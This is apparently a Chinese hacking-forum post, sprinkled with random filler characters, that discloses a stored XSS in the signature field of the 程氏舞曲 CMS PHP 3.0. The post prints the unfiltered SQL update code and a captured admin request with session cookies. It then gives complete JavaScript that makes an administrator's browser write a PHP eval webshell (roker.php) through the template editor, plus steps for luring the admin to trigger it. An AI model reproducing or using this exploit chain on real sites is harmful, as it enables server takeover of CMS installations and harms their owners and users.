程氏舞曲CMSPHP3.0 储存型xss getshell

admin

这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 + h  t3 ]5 R6 h% X8 H6 x: \8 x官网已经修补了，所以重新下了源码 + Z# A+ P: e: s, M; _因为 后台登入 还需要认证码 所以 注入就没看了。 存在 xss 3 |+ o- v/ }4 W  Y' J- z漏洞文件 user/member/skin_edit.php 本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名：    ' n# J# Z$ v: `1 I' k, l</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>    </textarea></td></tr> & D/ Y& F$ G. @   $ S% H1 O: S& z             user/do.php : x: c1 W/ y" Q9 G" Z/ g$ N4 E 8 g1 }7 @2 {3 v7 `( l# I1 W. x ; ~9 D- T1 |8 Y. P- }. v9 Aif($op=='zl'){ //资料 ( ?7 S1 |' I. b   ; T8 z* X( M: ?0 \             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) - h4 ]  ]& i% f6 }% o             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);')); / ^# ?5 T5 c/ P# \   4 ~; Y' i( \) \. j* C             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."', # A5 `+ W$ D% Q6 V   $ l" `" a, h9 `- Q             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'              where CS_Name='".$cscms_name."'"; ! f& b- u" Q5 }9 ~                if($db->query($sql)){    $ Z: {1 K* T5 e: a# Q5 `              exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);')); # {' h7 r4 ?- P+ p8 ~- A! v2 E                }else{    1 A( }5 ]& t0 T              exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);'));    ' w( d* U9 r! ~             } * x6 _, X8 Z9 X$ f4 t 没有 过滤导致xss产生。 2 d4 Y. R* {# Z; z* p  I后台 看了下 很奇葩的是可以写任意格式文件。。 抓包。。 % F; B  R6 ^+ f) { 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1    6 r# w( p* D( E0 J1 E" ]; dAccept: text/html, application/xhtml+xml, */*    - s5 O9 {0 b. R5 w' _Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php    Accept-Language: zh-CN : ]3 x/ R. J' t: N' w$ v. e  E   User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)    Content-Type: application/x-www-form-urlencoded ) k, a; n% i! o   Accept-Encoding: gzip, deflate % \( g. `5 K7 Y# Y% I: n   Host: 127.0.0.1 4 P" [2 p- _* n: G3 c   Content-Length: 38 6 J, A. ?# i' x$ Q; J   DNT: 1 4 E/ J& z6 e, z6 M' ?5 w8 f   7 h* \( @" X: H8 lConnection: Keep-Alive 6 B6 Z& M& i0 h% v; A   ) u, Q2 R! R. W: J$ s6 ECache-Control: no-cache - k  a# ~# S% J8 E% z   Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594    / N) O6 f3 o9 k/ v/ k1 ~8 q' T 3 r' @) [& A' M) i0 Aname=aaa.php&content=%3Cs%3E%3Ca%25%3E + o5 ?' |5 R* ^; b- g8 F# S. t$ T 于是 构造js如下。 , k+ @$ s2 {$ x本帖隐藏的内容<script> ( u6 H* g! q) v+ Y  GthisTHost = top.location.hostname;    thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";    0 ?. J! N6 R7 ^" z: b- hfunction PostSubmit(url, data, msg) { 7 }' L8 V$ i7 u; q4 S5 E    var postUrl = url; # Q( W8 e3 i( |$ h       var postData = data; 7 m  x4 u8 V6 {! @2 s. R  A% t    var msgData = msg;     var ExportForm = document.createElement("FORM");     document.body.appendChild(ExportForm); 3 ~, b) Q, z* e2 d4 @    ExportForm.method = "POST"; / r$ V7 V" {$ y0 i    var newElement = document.createElement("input");     newElement.setAttribute("name", "name"); + |! L( j$ C& d$ N( m    newElement.setAttribute("type", "hidden"); 9 `+ s9 t! ~6 f# x) l    var newElement2 = document.createElement("input");     newElement2.setAttribute("name", "content"); - }' r  h+ {# S7 n( D" k5 ?! C    newElement2.setAttribute("type", "hidden");     ExportForm.appendChild(newElement);     ExportForm.appendChild(newElement2); 2 c$ D  ^# w! r, J    newElement.value = postData; , a" k! ^% ~7 C+ w) T    newElement2.value = msgData;     ExportForm.action = postUrl;     ExportForm.submit(); " p- ^, u: ]& c, T7 e6 u3 l# ~};      ?" {4 h& K9 ~9 I1 E' MPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");    </script>   _. [/ q) o+ p http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改） 就会 在 skins\index\html\目录下生成 roker.php 一句话。